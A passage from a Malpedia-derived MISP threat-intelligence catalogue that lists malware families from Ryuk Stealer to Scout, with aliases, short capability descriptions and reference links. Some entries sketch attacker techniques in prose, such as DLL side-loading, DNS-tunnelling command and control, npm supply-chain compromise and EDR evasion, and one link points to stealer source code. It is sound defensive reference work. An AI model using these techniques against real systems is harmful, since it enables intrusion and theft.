https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/5768-ccn-cert-id-03-21-ryuk-ransomware/file.html

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://www.youtube.com/watch?v=CgDtm05qApE

https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike

https://twitter.com/IntelAdvanced/status/1353546534676258816

https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf

https://www.bankinfosecurity.com/blogs/akira-ransomware-apparently-in-decline-but-still-threat-p-3480

https://0xchina.medium.com/malware-reverse-engineering-31039450af27

https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022

https://www.secureworks.com/research/threat-profiles/gold-ulrick

https://twitter.com/anthomsec/status/1321865315513520128

https://www.s-rminform.com/cyber-intelligence-briefing/exmatter-malware-levels-up

https://www.bleepingcomputer.com/news/security/hacking-group-is-targeting-us-hospitals-with-ryuk-ransomware/

https://www.bleepingcomputer.com/news/security/ryuk-ransomware-stops-encrypting-linux-folders/

https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/

https://0xc0decafe.com/2020/12/28/never-upload-ransomware-samples-to-the-internet/

https://threatconnect.com/blog/threatconnect-research-roundup-ryuk-and-domains-spoofing-eset-and-microsoft/

https://krebsonsecurity.com/2020/10/fbi-dhs-hhs-warn-of-imminent-credible-ransomware-threat-against-u-s-hospitals/

https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

https://n1ght-w0lf.github.io/malware%20analysis/ryuk-ransomware/

https://research.nccgroup.com/2021/03/04/deception-engineering-exploring-the-use-of-windows-service-canaries-against-ransomware/

https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/

https://fourcore.io/blogs/ryuk-ransomware-simulation-mitre-ttp

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware

https://www.youtube.com/watch?v=Of_KjNG9DHc

https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf

https://threatconnect.com/blog/threatconnect-research-roundup-possible-ryuk-infrastructure/

https://www.bleepingcomputer.com/news/security/new-ryuk-info-stealer-targets-government-and-military-secrets/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

https://www.latimes.com/local/lanow/la-me-ln-times-delivery-disruption-20181229-story.html

https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv

https://www.bleepingcomputer.com/news/security/french-it-giant-sopra-steria-hit-by-ryuk-ransomware/

https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/

https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf

https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://www.domaintools.com/resources/blog/analyzing-network-infrastructure-as-composite-objects

https://ia.acs.org.au/article/2019/hospital-cyberattack-could-have-been-avoided.html

https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/

https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf

https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?blob=publicationFile&v=2
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://twitter.com/SophosLabs/status/1321844306970251265
https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-deployed-two-weeks-after-trickbot-infection/
https://arcticwolf.com/resources/blog/karakurt-web

Ryuk Stealer

Information Stealer that searches for sensitive documents and uploads its results to an FTP server. Skips files with known Ryuk extensions.

The tag is: *misp-galaxy:malpedia="Ryuk Stealer"*

Ryuk Stealer is also known as:

- Sidoh

Table 5021. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer
https://twitter.com/VK_Intel/status/1171782155581689858
https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/
https://www.bleepingcomputer.com/news/security/ryuk-related-malware-steals-confidential-military-financial-files/
https://analyst1.com/file-assets/Nationstate_ransomware_with_consecutive_endnotes.pdf

SADBRIDGE

According to Elastic, SADBRIDGE is a malware loader packaged as an MSI executable for delivery and it uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as x64dbg.exe and MonitoringHost.exe to load malicious DLLs like x64bridge.dll and HealthServiceRuntime.dll, which leads to subsequent stages and shellcodes.

The tag is: *misp-galaxy:malpedia="SADBRIDGE"*

SADBRIDGE is also known as:

Table 5022. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sadbridge
https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar

Sadogo

Ransomware.

The tag is: *misp-galaxy:malpedia="Sadogo"*

Sadogo is also known as:

Table 5023. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sadogo
https://id-ransomware.blogspot.com/2020/04/sadogo-ransomware.html

Saefko

The tag is: *misp-galaxy:malpedia="Saefko"*

Saefko is also known as:

Table 5024. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.saefko
https://www.zscaler.com/blogs/research/saefko-new-multi-layered-rat

SafeNet

The tag is: *misp-galaxy:malpedia="SafeNet"*

SafeNet is also known as:

Table 5025. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.safenet
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-safe-a-targeted-threat.pdf

SafePay

The tag is: *misp-galaxy:malpedia="SafePay"*

SafePay is also known as:

Table 5026. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.safepay
https://medium.com/@DCSO_CyTec/safepay-the-new-kid-on-the-block-4141188a626d
https://www.acronis.com/en-sg/tru/posts/safepay-ransomware-the-fast-rising-threat-targeting-msps/
https://www.huntress.com/blog/its-not-safe-to-pay-safepay

Sagerunex

According to Symantec, Sagerunex is a backdoor that is fairly resilient and implements multiple forms of communication with its command-and-control (C&C) server. Its logs are encrypted and the encryption algorithm used is AES256-CBC with 8192 rounds of SHA256 for key derivation based on a hardcoded key. It supports multiple modes methods for communicating via HTTP (proxy-aware).

The tag is: *misp-galaxy:malpedia="Sagerunex"*

Sagerunex is also known as:

Table 5027. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sagerunex
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments-cert-authority
http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments-cert-authority

SAGE

The tag is: *misp-galaxy:malpedia="SAGE"*

SAGE is also known as:

- Saga

Table 5028. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom

https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/
http://malware-traffic-analysis.net/2017/10/13/index.html
https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/
https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga
https://www.cert.pl/en/news/single/sage-2-0-analysis/

SaiGon

FireEye reports SaiGon as a variant of ISFB v3 (versions documented are tagged 3.50.132) that is more a generic backdoor than being focused on enabling banking fraud.

The tag is: *misp-galaxy:malpedia="SaiGon"*

SaiGon is also known as:

Table 5029. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon
https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html
https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/

Saint Bot

The tag is: *misp-galaxy:malpedia="Saint Bot"*

Saint Bot is also known as:

Table 5030. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot
https://blog.malwarebytes.com/threat-analysis/2021/04/a-deep-dive-into-saint-bot-downloader/
https://www.cyberscoop.com/ukrainian-cyber-attacks-russia-conflict-q-and-a/
https://cert.gov.ua/article/18419
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/
https://unit42.paloaltonetworks.com/atoms/nascentursa/
https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/

Saitama Backdoor

This in .Net witten backdoor abuses the DNS protocoll for its C2 communication. Also other techniques (e.g. long random sleeps, compression) are used to become more stealthy.

The tag is: *misp-galaxy:malpedia="Saitama Backdoor"*

Saitama Backdoor is also known as:

- AMATIAS
- Saitama

Table 5031. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.saitama
https://www.trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html
https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/
https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html
https://isc.sans.edu/diary/Translating+Saitama%27s+DNS+tunneling+messages/28738
https://www.fortinet.com/blog/threat-research/please-confirm-you-received-our-apt

Sakula RAT

Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.

The tag is: *misp-galaxy:malpedia="Sakula RAT"*

Sakula RAT is also known as:

- Sakurel

Table 5032. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/
https://www.secureworks.com/research/sakula-malware-family
https://docs.broadcom.com/doc/the-black-vine-cyberespionage-group

https://www.malwarebytes.com/blog/threat-intelligence/2022/05/unknown-apt-group-has-targeted-russia-repeatedly-since-ukraine-invasion
https://web.archive.org/web/20151001235506/https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=654
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/black-vine-cyberespionage-group-15-en.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022401-3212-99
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/sakula-an-adventure-in-dll-planting/?page=1

SalatStealer

Crypto Stealer written in GO. Targets browsers, crypto wallets and telegram clients (Telegram Desktop, Kotatogram). Can capture webcam and microphone and stream it on to c2 server.

The tag is: *misp-galaxy:malpedia="SalatStealer"*

SalatStealer is also known as:

Table 5033. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.salatstealer
https://blog.dexpose.io/understanding-salatstealer-features-and-impact/
https://bazaar.abuse.ch/browse/tag/SalatStealer/

Salgorea

The tag is: *misp-galaxy:malpedia="Salgorea"*

Salgorea is also known as:

- BadCake

Table 5034. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea
https://research.checkpoint.com/deobfuscating-apt32-flow-graphs-with-cutter-and-radare2/
https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf
https://www.accenture.com/us-en/blogs/blogs-pond-loach-delivers-badcake-malware

Sality

F-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.

Modern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.

Infection Sality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.

Earlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file's code, so that when the system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware's code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.

Payload Once installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.

The tag is: *misp-galaxy:malpedia="Sality"*

Sality is also known as:

Table 5035. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sality
https://unit42.paloaltonetworks.com/c2-traffic/
https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py
https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf

https://www.dragos.com/blog/the-trojan-horse-malware-password-cracking-ecosystem-targeting-industrial-operators/
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf

SamoRAT

According to PCrisk, SamoRAT is a Remote Access Trojan (RAT), a type of malware that allows the cyber criminals responsible to monitor and control the infected computer. In most cases, RATs are used to steal sensitive information and/or install other malware onto the infected computer.

The tag is: *misp-galaxy:malpedia="SamoRAT"*

SamoRAT is also known as:

Table 5036. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.samo_rat
https://business.xunison.com/analysis-of-samorat/

SamSam

According to PCrisk, Samsam is high-risk ransomware designed to infect unpatched servers and encrypt files stored on computers networked to the infected server.

The tag is: *misp-galaxy:malpedia="SamSam"*

SamSam is also known as:

- Samas

Table 5037. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam
https://www.secureworks.com/blog/ransomware-deployed-by-adversary
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/

https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/
https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/
https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public
https://www.secureworks.com/blog/samas-ransomware
https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://sites.temple.edu/care/ci-rw-attacks/
http://blog.talosintel.com/2016/03/samsam-ransomware.html
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/
https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/
https://www.justice.gov/opa/press-release/file/1114746/download
https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf
https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.secureworks.com/research/threat-profiles/gold-lowell
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://www.secureworks.com/research/samsam-ransomware-campaigns
https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/
https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/

Sanny

The tag is: *misp-galaxy:malpedia="Sanny"*

Sanny is also known as:

Table 5038. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny
https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html

SapphireMiner

The tag is: *misp-galaxy:malpedia="SapphireMiner"*

SapphireMiner is also known as:

Table 5039. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sapphire_miner
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html

SapphireStealer

The tag is: *misp-galaxy:malpedia="SapphireStealer"*

SapphireStealer is also known as:

Table 5040. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sapphire_stealer
https://github.com/0day2/SapphireStealer/

SappyCache

The tag is: *misp-galaxy:malpedia="SappyCache"*

SappyCache is also known as:

Table 5041. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache
https://blog.alyac.co.kr/m/2219
https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails
https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html

https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf
https://blog.alyac.co.kr/2219

Sarcoma

The tag is: *misp-galaxy:malpedia="Sarcoma"*

Sarcoma is also known as:

Table 5042. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sarcoma
https://securityaffairs.com/wp-content/uploads/2025/05/Sarcoma-Ransomware.pdf

Sarhust

The tag is: *misp-galaxy:malpedia="Sarhust"*

Sarhust is also known as:

- ENDCMD
- Hussarini

Table 5043. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust
https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt
https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a

Sasfis

Sasfis acts mostly as a downloader that has been observed to download Asprox and FakeAV. According to a VirusBulletin article from 2012, it is likely authored by the same group as SmokeLoader.

The tag is: *misp-galaxy:malpedia="Sasfis"*

Sasfis is also known as:

- Oficla

Table 5044. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis
https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/
https://www.symantec.com/security-center/writeup/2010-020210-5440-99
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis
https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}Sasfis-O/detailed-analysis.aspx
https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/
https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign

Satacom

The tag is: *misp-galaxy:malpedia="Satacom"*

Satacom is also known as:

- CurlyGate
- LegionLoader
- RobotDropper

Table 5045. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom
https://trac-labs.com/advancing-through-the-cyberfront-legionloader-commander-6af38ebe39d4
https://securelist.com/satacom-delivers-cryptocurrency-stealing-browser-extension/109807/
https://tehtris.com/en/blog/legionloader-exposed/

Satan

Ransomware.

The tag is: *misp-galaxy:malpedia="Satan"*

Satan is also known as:

- 5ss5c
- DBGer
- Lucky Ransomware

Table 5046. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satan
https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2
https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html
https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/
https://www.sangfor.com/source/blog-network-security/1094.html
https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/
https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread
https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html
http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/

Satana

According to bitdefender, Satana is an aggressive ransomware for Windows that encrypts the computer's master boot record (MBR) and prevents it from starting.

The tag is: *misp-galaxy:malpedia="Satana"*

Satana is also known as:

Table 5047. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satana
https://blog.reversinglabs.com/blog/retread-ransomware
https://www.cylance.com/threat-spotlight-satan-raas

Satellite Turla

The tag is: *misp-galaxy:malpedia="Satellite Turla"*

Satellite Turla is also known as:

Table 5048. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla
https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/

https://nsarchive.gwu.edu/sites/default/files/documents/3921357/Government-of-Canada-Hackers-are-Humans-Too.pdf

Sathurbot

The tag is: *misp-galaxy:malpedia="Sathurbot"*

Sathurbot is also known as:

Table 5049. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/

ScanLine

According to CISA, this is a command-line port scanning utility from Foundstone. It is used to scan for open UDP and TCP ports, grab banners from open ports, resolve IP addresses to host names, and bind to specified ports and IP addresses.

The tag is: *misp-galaxy:malpedia="ScanLine"*

ScanLine is also known as:

Table 5050. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scanline
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a
https://www.cisa.gov/news-events/analysis-reports/ar24-038a

Scano

The tag is: *misp-galaxy:malpedia="Scano"*

Scano is also known as:

Table 5051. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scano
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Scano&threatId=-2147382494

ScanPOS

The tag is: *misp-galaxy:malpedia="ScanPOS"*

ScanPOS is also known as:

Table 5052. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://securitykitten.github.io/2016/11/15/scanpos.html
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-11-15-scanpos.md

Scarabey

Ransomware with ransomnote in Russian and encryption extension .scarab.

The tag is: *misp-galaxy:malpedia="Scarabey"*

Scarabey is also known as:

- MVP
- Scarab
- Scarab-Russian

Table 5053. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey
https://id-ransomware.blogspot.com/2017/12/scarabey-ransomware.html

Scarab Ransomware

The tag is: *misp-galaxy:malpedia="Scarab Ransomware"*

Scarab Ransomware is also known as:

Table 5054. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scarab_ransom
http://malware-traffic-analysis.net/2017/11/23/index.html
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/
https://www.welivesecurity.com/en/eset-research/cosmicbeetle-steps-up-probation-period-ransomhub/

ScareCrow

Based on the leaked Conti source code.

The tag is: *misp-galaxy:malpedia="ScareCrow"*

ScareCrow is also known as:

Table 5055. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow
https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants

Scavenger

Scavenger is a stealthy, two-stage malware family first observed in July 2025 following a targeted supply chain attack on the NPM ecosystem. The infection began with a phishing campaign that leveraged a typo-squatted domain (npnjs.com) to impersonate the legitimate NPM login page. The adversaries abused NPM's web-based login flow—akin to device code phishing—to trick a package maintainer into generating an automation access token, which does not expire and can bypass 2FA under certain configurations.

With the stolen credentials, the attackers injected malicious payloads into several trusted NPM packages, including eslint-config-prettier, by modifying their install scripts to execute a DLL loader. This first-stage loader, compiled in Visual Studio, performs anti-VM checks, dynamic API resolution using CRC32 hashing, indirect syscalls to bypass EDR, and string decryption routines. If the environment passes these checks, it executes a second-stage infostealer that targets browser data—particularly from Chromium—such as extension state, cached content, and visited URLs.

The malware communicates with its command and control infrastructure using libcurl and XXTEA-encrypted payloads over HTTP(S), implementing challenge-response integrity checks during session initialization. Development artifacts like a leftover PDB path and operational overlaps have linked Scavenger to other campaigns, including one involving an infected BeamNG game binary, further suggesting a broader and evolving threat infrastructure.

The tag is: *misp-galaxy:malpedia="Scavenger"*

Scavenger is also known as:

- SCVNGR

- scavenger
- scvngr

Table 5056. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger
https://invokere.com/posts/2025/07/scavenger-malware-distributed-via-eslint-config-prettier-npm-package-supply-chain-compromise/
https://utkonos.github.io/sc_trojan_jwjf/
https://invokere.com/posts/2025/07/scavenger-malware-distributed-via-num2words-pypi-supply-chain-compromise/
https://c-b.io/2025-07-20+-Install+Linters%2C+Get+Malware-DevSecOps+Speedrun+Edition[https://c-b.io/2025-07-20-Install+Linters%2C+Get+Malware-+DevSecOps+Speedrun+Edition]
https://news.drweb.com/show/?i=15036&lng=en

Schneiken

Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.

The tag is: *misp-galaxy:malpedia="Schneiken"*

Schneiken is also known as:

Table 5057. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken
https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb
https://github.com/vithakur/schneiken

Scieron

The Chinese threat actor has used a custom backdoor dubbed "Scieron" over years in several campaigns according to SentinelLABS.

The tag is: *misp-galaxy:malpedia="Scieron"*

Scieron is also known as:

Table 5058. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron

https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8bfa7311-fdd9-4f8d-b813-1ab6c9d2c363
https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/

ScoringMathTea

According to ESET Research, ScoringMathTea is a RAT that offers the attackers full control over the compromised machine. Its first appearance dates to late 2022, when its dropper was uploaded to VirusTotal. Soon after, it was seen in the wild, and since then in multiple attacks attributed to Lazarus' Operation DreamJob campaigns, which makes it the attacker's payload of choice for already three years. It uses compromised servers for C&C communication, with the server part usually stored under the WordPress folder containing design templates or plugins.

The tag is: *misp-galaxy:malpedia="ScoringMathTea"*

ScoringMathTea is also known as:

Table 5059. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scoring_math_tea
https://0x0d4y.blog/arsenal-analysis-of-a-nation-state-actor-an-in-depth-look-at-lazarus-scoringmathtea/
https://www.welivesecurity.com/en/eset-research/gotta-fly-lazarus-targets-uav-sector/

Scote

The tag is: *misp-galaxy:malpedia="Scote"*

Scote is also known as:

Table 5060. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scote
https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/

Scout

A downloader that uses Windows messages to control its execution flow.

The tag is: *misp-galaxy:malpedia="Scout"*

Scout is also known as:

Table 5061. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scout
